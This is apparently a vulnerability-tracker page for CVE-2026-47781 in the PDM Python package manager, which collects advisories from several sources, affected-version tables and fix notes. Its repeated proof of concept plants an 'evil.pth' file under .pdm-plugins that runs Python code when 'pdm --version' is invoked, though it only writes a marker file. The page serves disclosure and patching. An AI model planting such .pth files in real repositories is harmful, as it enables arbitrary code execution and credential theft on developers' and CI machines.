CVE-2026-47781
pdm: Project-Controlled `.pdm-plugins` Content Executes Before CLI Parsing
PDM is a Python package and dependency manager. In versions up to and including 2.26.9, PDM automatically loads project-local plugins from a .pdm-plugins directory during initialization, allowing an attacker-controlled file in an untrusted repository checkout to execute arbitrary Python code before any command is parsed. This happens because load_plugins() runs during Core.init() and adds .pdm-plugins via site.addsitedir(), which processes .pth files and immediately executes any line beginning with import, so the code runs with the privileges of the user invoking pdm and even a benign command such as pdm --version triggers it (making the impact strongest in CI, automation, and privileged contexts). The issue is fixed in version 2.27.0.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Active
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.4
pdm: Project-Controlled `.pdm-plugins` Content Executes Before CLI Parsing
PDM is a Python package and dependency manager. In versions up to and including 2.26.9, PDM automatically loads project-local plugins from a .pdm-plugins directory during initialization, allowing an attacker-controlled file in an untrusted repository checkout to execute arbitrary Python code before any command is parsed. This happens because load_plugins() runs during Core.init() and adds .pdm-plugins via site.addsitedir(), which processes .pth files and immediately executes any line beginning with import, so the code runs with the privileges of the user invoking pdm and even a benign command such as pdm --version triggers it (making the impact strongest in CI, automation, and privileged contexts). The issue is fixed in version 2.27.0.
- Record
CVE-2026-47781- CVSS 4.0
- 8.4 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-829, CWE-94
- Updated
- 2026-11-02
EUVDEUVD-2026-52867
8.4
PDM is a Python package and dependency manager. In versions up to and including 2.26.9, PDM automatically loads project-local plugins from a .pdm-plugins directory during initialization, allowing an attacker-controlled file in an untrusted repository checkout to execute arbitrary Python code before any command is parsed. This happens because load_plugins() runs during Core.init() and adds .pdm-plugins via site.addsitedir(), which processes .pth files and immediately executes any line beginning with import, so the code runs with the privileges of the user invoking pdm and even a benign command such as pdm --version triggers it (making the impact strongest in CI, automation, and privileged contexts). The issue is fixed in version 2.27.0.
- Record
EUVD-2026-52867- CVSS 4.0
- 8.4 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-qq6c-99pv-prvf
8.4
PDM: Project-Controlled `.pdm-plugins` Content Executes Before CLI Parsing
Summary
PDM automatically loads project-local plugin paths from .pdm-plugins during Core initialization. Because this path is added via site.addsitedir(), attacker-controlled .pth files inside the project plugin directory are processed and can execute Python code before normal CLI handling begins.
This allows arbitrary code execution with the privileges of the user running pdm from an untrusted repository checkout.
Affected Behavior
- Trigger does not require
pdm install --plugins - A low-impact command such as
pdm --versionis sufficient - Impact is strongest in CI, privileged shells, and automation contexts
Affected Code
src/pdm/core.py:74-82src/pdm/core.py:310-333src/pdm/core.py:335-352
Technical Details
Core.__init__() calls load_plugins() before ordinary command execution. load_plugins() calls _add_project_plugins_library(), which derives the project-local .pdm-plugins library path and adds it through site.addsitedir().
On CPython, site.addsitedir() processes .pth files found in the added directory. .pth lines beginning with import are executed immediately. This creates a trust-boundary break: project-controlled files execute before the user explicitly opts into plugin installation or plugin loading.
Impact
- Arbitrary code execution as the invoking user
- Potential credential theft, persistence, or workspace tampering
- Potential privilege escalation when
pdmis run viasudo, root-owned CI jobs, or privileged service accounts
Reproduction
PoC:
# Replace this with a Python interpreter that can run `python -m pdm`.
PDM_PY=/path/to/python-with-pdm
tmpdir=$(mktemp -d)
cat > "$tmpdir/pyproject.toml" <<'EOF'
[project]
name = "plugin-autoload-demo"
version = "0.0.1"
EOF
purelib=$(TMPDIR_ROOT="$tmpdir/.pdm-plugins" "$PDM_PY" - <<'PY'
import os
import sys
import sysconfig
base = os.environ["TMPDIR_ROOT"]
scheme_names = sysconfig.get_scheme_names()
if (sys.platform == "darwin" and "osx_framework_library" in scheme_names) or sys.platform == "linux":
scheme = "posix_prefix"
elif sys.version_info < (3, 10):
scheme = "nt" if os.name == "nt" else "posix_prefix"
else:
scheme = sysconfig.get_default_scheme()
replace_vars = {"base": base, "platbase": base}
print(sysconfig.get_path("purelib", scheme, replace_vars))
PY
)
mkdir -p "$purelib"
marker="$tmpdir/plugin-autoload-marker.txt"
printf '%s\n' "import pathlib; pathlib.Path(r'$marker').write_text('project plugin autoload executed', encoding='utf-8')" > "$purelib/evil.pth"
(
cd "$tmpdir" &&
"$PDM_PY" -m pdm --version
)
cat "$marker"
Expected result:
- A temporary project is created
- An
evil.pthfile is placed under.pdm-plugins - Running
pdm --versioncreates a marker file before CLI exit
Observed output from local validation:
PDM, version 2.26.9
--- marker ---
project plugin autoload executed
Severity
High
CVSS v4.0
- Base score:
8.4(High) - Vector:
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Rationale:
AV:L: exploitation occurs through local execution ofpdmagainst attacker-controlled repository contentAC:L: no special bypass or race is requiredAT:N: no external precondition beyond the vulnerable workflow is requiredPR:N: the attacker does not need privileges on the victim hostUI:A: the victim must actively run apdmcommand in the malicious checkoutVC:H/VI:H/VA:H: successful exploitation yields arbitrary code execution as the invoking userSC:N/SI:N/SA:N: the score is kept to same-system impact only
Root Cause
Project-local plugin paths are implicitly trusted and loaded too early, and .pth processing is inherited from site.addsitedir().
Recommended Remediation
- Do not auto-load project-local
.pdm-pluginsby default - Avoid
site.addsitedir()for project-controlled plugin paths - If project plugins must be supported, require explicit opt-in such as…
- Record
GHSA-qq6c-99pv-prvf- CVSS 4.0
- 8.4 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-94
- Updated
- 2026-11-02
NVD
8.4
PDM is a Python package and dependency manager. In versions up to and including 2.26.9, PDM automatically loads project-local plugins from a .pdm-plugins directory during initialization, allowing an attacker-controlled file in an untrusted repository checkout to execute arbitrary Python code before any command is parsed. This happens because load_plugins() runs during Core.init() and adds .pdm-plugins via site.addsitedir(), which processes .pth files and immediately executes any line beginning with import, so the code runs with the privileges of the user invoking pdm and even a benign command such as pdm --version triggers it (making the impact strongest in CI, automation, and privileged contexts). The issue is fixed in version 2.27.0.
- Record
CVE-2026-47781- CVSS 4.0
- 8.4 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Weakness
- CWE-94, CWE-829
- Updated
- 2026-11-02
OSV
8.4
pdm: Project-Controlled `.pdm-plugins` Content Executes Before CLI Parsing
PDM is a Python package and dependency manager. In versions up to and including 2.26.9, PDM automatically loads project-local plugins from a .pdm-plugins directory during initialization, allowing an attacker-controlled file in an untrusted repository checkout to execute arbitrary Python code before any command is parsed. This happens because load_plugins() runs during Core.init() and adds .pdm-plugins via site.addsitedir(), which processes .pth files and immediately executes any line beginning with import, so the code runs with the privileges of the user invoking pdm and even a benign command such as pdm --version triggers it (making the impact strongest in CI, automation, and privileged contexts). The issue is fixed in version 2.27.0.
- Record
CVE-2026-47781- CVSS 4.0
- 8.4 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-829, CWE-94
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2026-47781
8.4
PDM is a Python package and dependency manager. In versions up to and including 2.26.9, PDM automatically loads project-local plugins from a .pdm-plugins directory during initialization, allowing an attacker-controlled file in an untrusted repository checkout to execute arbitrary Python code before any command is parsed. This happens because load_plugins() runs during Core.init() and adds .pdm-plugins via site.addsitedir(), which processes .pth files and immediately executes any line beginning with import, so the code runs with the privileges of the user invoking pdm and even a benign command such as pdm --version triggers it (making the impact strongest in CI, automation, and privileged contexts). The issue is fixed in version 2.27.0.
- Record
DEBIAN-CVE-2026-47781- CVSS 4.0
- 8.4 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Updated
- 2026-11-02
Show 5 moreShow less
OSVGHSA-qq6c-99pv-prvf
8.4
PDM: Project-Controlled `.pdm-plugins` Content Executes Before CLI Parsing
Summary
PDM automatically loads project-local plugin paths from .pdm-plugins during Core initialization. Because this path is added via site.addsitedir(), attacker-controlled .pth files inside the project plugin directory are processed and can execute Python code before normal CLI handling begins.
This allows arbitrary code execution with the privileges of the user running pdm from an untrusted repository checkout.
Affected Behavior
- Trigger does not require
pdm install --plugins - A low-impact command such as
pdm --versionis sufficient - Impact is strongest in CI, privileged shells, and automation contexts
Affected Code
src/pdm/core.py:74-82src/pdm/core.py:310-333src/pdm/core.py:335-352
Technical Details
Core.__init__() calls load_plugins() before ordinary command execution. load_plugins() calls _add_project_plugins_library(), which derives the project-local .pdm-plugins library path and adds it through site.addsitedir().
On CPython, site.addsitedir() processes .pth files found in the added directory. .pth lines beginning with import are executed immediately. This creates a trust-boundary break: project-controlled files execute before the user explicitly opts into plugin installation or plugin loading.
Impact
- Arbitrary code execution as the invoking user
- Potential credential theft, persistence, or workspace tampering
- Potential privilege escalation when
pdmis run viasudo, root-owned CI jobs, or privileged service accounts
Reproduction
PoC:
# Replace this with a Python interpreter that can run `python -m pdm`.
PDM_PY=/path/to/python-with-pdm
tmpdir=$(mktemp -d)
cat > "$tmpdir/pyproject.toml" <<'EOF'
[project]
name = "plugin-autoload-demo"
version = "0.0.1"
EOF
purelib=$(TMPDIR_ROOT="$tmpdir/.pdm-plugins" "$PDM_PY" - <<'PY'
import os
import sys
import sysconfig
base = os.environ["TMPDIR_ROOT"]
scheme_names = sysconfig.get_scheme_names()
if (sys.platform == "darwin" and "osx_framework_library" in scheme_names) or sys.platform == "linux":
scheme = "posix_prefix"
elif sys.version_info < (3, 10):
scheme = "nt" if os.name == "nt" else "posix_prefix"
else:
scheme = sysconfig.get_default_scheme()
replace_vars = {"base": base, "platbase": base}
print(sysconfig.get_path("purelib", scheme, replace_vars))
PY
)
mkdir -p "$purelib"
marker="$tmpdir/plugin-autoload-marker.txt"
printf '%s\n' "import pathlib; pathlib.Path(r'$marker').write_text('project plugin autoload executed', encoding='utf-8')" > "$purelib/evil.pth"
(
cd "$tmpdir" &&
"$PDM_PY" -m pdm --version
)
cat "$marker"
Expected result:
- A temporary project is created
- An
evil.pthfile is placed under.pdm-plugins - Running
pdm --versioncreates a marker file before CLI exit
Observed output from local validation:
PDM, version 2.26.9
--- marker ---
project plugin autoload executed
Severity
High
CVSS v4.0
- Base score:
8.4(High) - Vector:
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Rationale:
AV:L: exploitation occurs through local execution ofpdmagainst attacker-controlled repository contentAC:L: no special bypass or race is requiredAT:N: no external precondition beyond the vulnerable workflow is requiredPR:N: the attacker does not need privileges on the victim hostUI:A: the victim must actively run apdmcommand in the malicious checkoutVC:H/VI:H/VA:H: successful exploitation yields arbitrary code execution as the invoking userSC:N/SI:N/SA:N: the score is kept to same-system impact only
Root Cause
Project-local plugin paths are implicitly trusted and loaded too early, and .pth processing is inherited from site.addsitedir().
Recommended Remediation
- Do not auto-load project-local
.pdm-pluginsby default - Avoid
site.addsitedir()for project-controlled plugin paths - If project plugins must be supported, require explicit opt-in such as…
- Record
GHSA-qq6c-99pv-prvf- CVSS 4.0
- 8.4 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-94
- Updated
- 2026-11-02
OSVPYSEC-2026-2863
8.4
PDM: Project-Controlled `.pdm-plugins` Content Executes Before CLI Parsing
Summary
PDM automatically loads project-local plugin paths from .pdm-plugins during Core initialization. Because this path is added via site.addsitedir(), attacker-controlled .pth files inside the project plugin directory are processed and can execute Python code before normal CLI handling begins.
This allows arbitrary code execution with the privileges of the user running pdm from an untrusted repository checkout.
Affected Behavior
- Trigger does not require
pdm install --plugins - A low-impact command such as
pdm --versionis sufficient - Impact is strongest in CI, privileged shells, and automation contexts
Affected Code
src/pdm/core.py:74-82src/pdm/core.py:310-333src/pdm/core.py:335-352
Technical Details
Core.__init__() calls load_plugins() before ordinary command execution. load_plugins() calls _add_project_plugins_library(), which derives the project-local .pdm-plugins library path and adds it through site.addsitedir().
On CPython, site.addsitedir() processes .pth files found in the added directory. .pth lines beginning with import are executed immediately. This creates a trust-boundary break: project-controlled files execute before the user explicitly opts into plugin installation or plugin loading.
Impact
- Arbitrary code execution as the invoking user
- Potential credential theft, persistence, or workspace tampering
- Potential privilege escalation when
pdmis run viasudo, root-owned CI jobs, or privileged service accounts
Reproduction
PoC:
# Replace this with a Python interpreter that can run `python -m pdm`.
PDM_PY=/path/to/python-with-pdm
tmpdir=$(mktemp -d)
cat > "$tmpdir/pyproject.toml" <<'EOF'
[project]
name = "plugin-autoload-demo"
version = "0.0.1"
EOF
purelib=$(TMPDIR_ROOT="$tmpdir/.pdm-plugins" "$PDM_PY" - <<'PY'
import os
import sys
import sysconfig
base = os.environ["TMPDIR_ROOT"]
scheme_names = sysconfig.get_scheme_names()
if (sys.platform == "darwin" and "osx_framework_library" in scheme_names) or sys.platform == "linux":
scheme = "posix_prefix"
elif sys.version_info < (3, 10):
scheme = "nt" if os.name == "nt" else "posix_prefix"
else:
scheme = sysconfig.get_default_scheme()
replace_vars = {"base": base, "platbase": base}
print(sysconfig.get_path("purelib", scheme, replace_vars))
PY
)
mkdir -p "$purelib"
marker="$tmpdir/plugin-autoload-marker.txt"
printf '%s\n' "import pathlib; pathlib.Path(r'$marker').write_text('project plugin autoload executed', encoding='utf-8')" > "$purelib/evil.pth"
(
cd "$tmpdir" &&
"$PDM_PY" -m pdm --version
)
cat "$marker"
Expected result:
- A temporary project is created
- An
evil.pthfile is placed under.pdm-plugins - Running
pdm --versioncreates a marker file before CLI exit
Observed output from local validation:
PDM, version 2.26.9
--- marker ---
project plugin autoload executed
Severity
High
CVSS v4.0
- Base score:
8.4(High) - Vector:
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Rationale:
AV:L: exploitation occurs through local execution ofpdmagainst attacker-controlled repository contentAC:L: no special bypass or race is requiredAT:N: no external precondition beyond the vulnerable workflow is requiredPR:N: the attacker does not need privileges on the victim hostUI:A: the victim must actively run apdmcommand in the malicious checkoutVC:H/VI:H/VA:H: successful exploitation yields arbitrary code execution as the invoking userSC:N/SI:N/SA:N: the score is kept to same-system impact only
Root Cause
Project-local plugin paths are implicitly trusted and loaded too early, and .pth processing is inherited from site.addsitedir().
Recommended Remediation
- Do not auto-load project-local
.pdm-pluginsby default - Avoid
site.addsitedir()for project-controlled plugin paths - If project plugins must be supported, require explicit opt-in such as…
- Record
PYSEC-2026-2863- CVSS 4.0
- 8.4 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-47781
8.4
PDM is a Python package and dependency manager. In versions up to and including 2.26.9, PDM automatically loads project-local plugins from a .pdm-plugins directory during initialization, allowing an attacker-controlled file in an untrusted repository checkout to execute arbitrary Python code before any command is parsed. This happens because load_plugins() runs during Core.init() and adds .pdm-plugins via site.addsitedir(), which processes .pth files and immediately executes any line beginning with import, so the code runs with the privileges of the user invoking pdm and even a benign command such as pdm --version triggers it (making the impact strongest in CI, automation, and privileged contexts). The issue is fixed in version 2.27.0.
- Record
UBUNTU-CVE-2026-47781- CVSS 4.0
- 8.4 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Updated
- 2026-11-02
OSVopenSUSE-SU-2026:11124-1 No score
python311-pdm-2.28.0-1.1 on GA media
These are all security issues fixed in the python311-pdm-2.28.0-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:11124-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:21161-1 No score
Security update for python-pdm
This update for python-pdm fixes the following issues:
Changes in python-pdm:
- CVE-2026-47763: Do not follow symlinks when writing config files (bsc#1268384)
- CVE-2026-47763: Do not write to paths outside the scheme dir (bsc#1268385)
- CVE-2026-47781: Update plugin installation path to use project_plugins_dir (bsc#1268386)
- Record
openSUSE-SU-2026:21161-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
pdmPyPI |
through 2.26.9 | 2.27.0 |
pdmDebian:12 |
All versions, plus listed versions 2.2.1+ds1-12.2.1+ds1-22.20.0.post1+ds1-12.20.0.post1+ds1-22.20.1+ds1-1 Show 13 moreShow less2.20.1+ds1-22.23.1-12.23.1-22.23.1-32.23.1-42.26.2-12.26.6-12.27.0-12.28.0-12.28.1-12.29.0-12.29.2-12.29.3-1 |
None known |
pdmDebian:13 |
All versions, plus listed versions 2.20.1+ds1-22.23.1-12.23.1-22.23.1-32.23.1-4 Show 8 moreShow less2.26.2-12.26.6-12.27.0-12.28.0-12.28.1-12.29.0-12.29.2-12.29.3-1 |
None known |
pdmDebian:14 |
before 2.27.0-1, plus listed versions 2.20.1+ds1-22.23.1-12.23.1-22.23.1-32.23.1-42.26.2-12.26.6-1 |
2.27.0-1 |
pdmPyPI |
before 2.27.0, plus listed versions 0.0.00.0.10.0.30.0.40.0.5 Show 45 moreShow less0.0.60.1.00.1.10.1.20.10.00.10.10.10.20.11.00.12.00.12.10.12.20.12.30.2.00.2.10.2.20.2.30.2.40.2.50.2.60.3.00.3.10.3.20.4.00.4.10.4.20.5.00.6.00.6.10.6.20.6.30.6.40.6.50.7.00.7.10.8.00.8.10.8.20.8.30.8.40.8.50.8.60.8.70.9.00.9.10.9.2 |
2.27.0 |
pdmUbuntu:26.10 |
All versions, plus listed versions 2.23.1-42.27.0-12.28.0-12.28.1-1 |
None known |
pdmUbuntu:26.04:LTS |
All versions, plus listed versions 2.20.1+ds1-22.23.1-4 |
None known |
python-pdmopenSUSE:Tumbleweed From an advisory covering 3 CVEs |
before 2.28.0-1.1 | 2.28.0-1.1 |
python-pdmopenSUSE:Leap 16.0 From an advisory covering 3 CVEs |
before 2.22.3-bp160.2.1 | 2.22.3-bp160.2.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| aliases | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-47781 is a high vulnerability (CVSS 8.4) in Pdm-project Pdm, published June 11, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.19%, the 8th percentile. Fixed in pdm 2.27.0.
References
github.com/pdm-project/pdm/security/advisories/GHSA-qq6c-99pv-prvf
github.com/pdm-project/pdm/releases/tag/2.27.0
github.com/advisories/GHSA-qq6c-99pv-prvf
github.com/CVEProject/cvelistV5/tree/main/cves/2026/47xxx/CVE-2026-47781.json
nvd.nist.gov/vuln/detail/CVE-2026-47781
security-tracker.debian.org/tracker/CVE-2026-47781
Show 10 moreShow less
Left out here: 197 versions and the rest of 3 source descriptions. The JSON record has them.